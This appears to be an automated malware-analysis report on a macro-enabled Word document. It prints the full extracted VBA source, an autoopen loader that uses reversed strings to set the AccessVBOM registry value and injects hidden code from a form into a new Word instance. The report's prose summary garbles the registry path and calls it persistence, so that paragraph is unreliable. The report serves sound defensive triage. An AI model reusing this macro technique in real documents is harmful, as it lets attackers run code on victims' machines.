Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ae097ed67a97e8bf…

MALICIOUS

Office (OOXML)

75.8 KB Created: 2021-05-04 08:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 9c21ab2707abb8a3a4d54efa972792a7 SHA-1: b7abec3c414f2f947f20f52419079a5ba451f7a2 SHA-256: ae097ed67a97e8bfba2686dbe35a7153be22a9641fb75905ad33da6dd341c37b
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an OOXML document containing VBA macros. The 'autoopen' macro executes 'counterDocument', which uses 'WScript.Shell' to write a registry value. This registry value is constructed by reversing strings to form 'HKCU\Software\Microsoft\Office\SecureAccessMobVS\Word\Security\Current_USER\Key', indicating an attempt to establish persistence. The use of 'CreateObject' and 'Shell()' further supports malicious intent.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub pasteVariable(procResponse)
With CreateObject("wscript.shell")
.RegWrite procResponse, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub dataCopy(swapVarList As String)
Set refBuf = CreateObject("word.application")
With refBuf.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "linkArgumentText"
Sub autoopen()
counterDocument
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1762 bytes
SHA-256: 10529ff4ecba2dc7ccb5607a4dc7bb9081f81f2a1ba287da0c4f11ce479851ac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{DFB77553-EECC-4175-8C51-7CB971786E80}{65F0B562-7869-44C8-9B7E-84F3EFB55459}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "linkArgumentText"
Sub autoopen()
counterDocument
Dim argumentTempVariable As String
argumentTempVariable = trustBuffer
dataCopy argumentTempVariable
End Sub

Attribute VB_Name = "varConst"
Sub dataCopy(swapVarList As String)
Set refBuf = CreateObject("word.application")
With refBuf.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString swapVarList
End With
refBuf.Visible = False
refBuf.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "referenceResponse"
Function iteratorVariableWindow() As String
iteratorVariableWindow = Application.Version
End Function
Sub pasteVariable(procResponse)
With CreateObject("wscript.shell")
.RegWrite procResponse, 1, "REG_DWORD"
End With
End Sub
Sub counterDocument()
procResponse = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
deleteIterator = iteratorVariableWindow
repoReferenceButton = StrReverse("MOBVsseccA\ytiruceS\droW\")
pasteVariable procResponse & deleteIterator & repoReferenceButton
End Sub
Function trustBuffer()
trustBuffer = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 1d47f0e013ab7196bc19ba48c188cf572f1662ea309315535471f3158f872685
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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